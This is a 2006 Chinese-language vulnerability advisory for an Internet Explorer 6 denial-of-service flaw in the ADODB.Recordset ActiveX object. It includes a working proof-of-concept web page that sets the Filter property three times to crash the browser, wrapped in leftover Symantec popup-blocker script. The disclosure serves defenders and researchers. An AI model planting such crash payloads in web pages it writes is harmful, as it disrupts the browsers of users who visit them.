Microsoft Internet Explorer ADODB.Recordset空指针引用拒绝服务漏洞
发布日期：2006-07-03
更新日期：2006-07-05
受影响系统：Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
描述：
BUGTRAQ ID:
18773
Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer在处理ADODB.Recordset ActiveX对象时存在拒绝服务漏洞，远程攻击者可能利用此漏洞导致用户IE浏览器崩溃。
ADODB.Recordset ActiveX对象的属性被三次赋与不同的值时会触发空指针引用问题，如果用户受骗访问了包含畸形ActiveX引用代码的恶意WEB页面的话就会导致IE拒绝服务。
<*来源：H D Moore （
hdm@metasploit.com）
链接：
http://browserfun.blogspot.com/2006/07/mobb-1-adodbrecordset-filter-property.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# Microsoft Internet Explorer ADODB.Recordset Filter Property poc
<script language="JavaScript">
<!--
function SymError()
{
return true;
}
window.onerror = SymError;
var SymRealWinOpen = window.open;
function SymWinOpen(url, name, attributes)
{
return (new Object());
}
window.open = SymWinOpen;
//-->
</script>
<script>
// MoBB Demonstration
function Demo() {
a = new ActiveXObject('ADODB.Recordset');
try { a.Filter = "AAAA" } catch(e) { }
try { a.Filter = "BBBB" } catch(e) { }
try { a.Filter = 0x7ffffffe; } catch(e) { }
}
</script>
Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
</body></html>
<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;
function SymOnUnload()
{
window.open = SymWinOpen;
if(SymRealOnUnload != null)
SymRealOnUnload();
}
function SymOnLoad()
{
if(SymRealOnLoad != null)
SymRealOnLoad();
window.open = SymRealWinOpen;
SymRealOnUnload = window.onunload;
window.onunload = SymOnUnload;
}
SymRealOnLoad = window.onload;
window.onload = SymOnLoad;
//-->
</script>
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp浏览次数：3608
严重程度：0（网友投票）
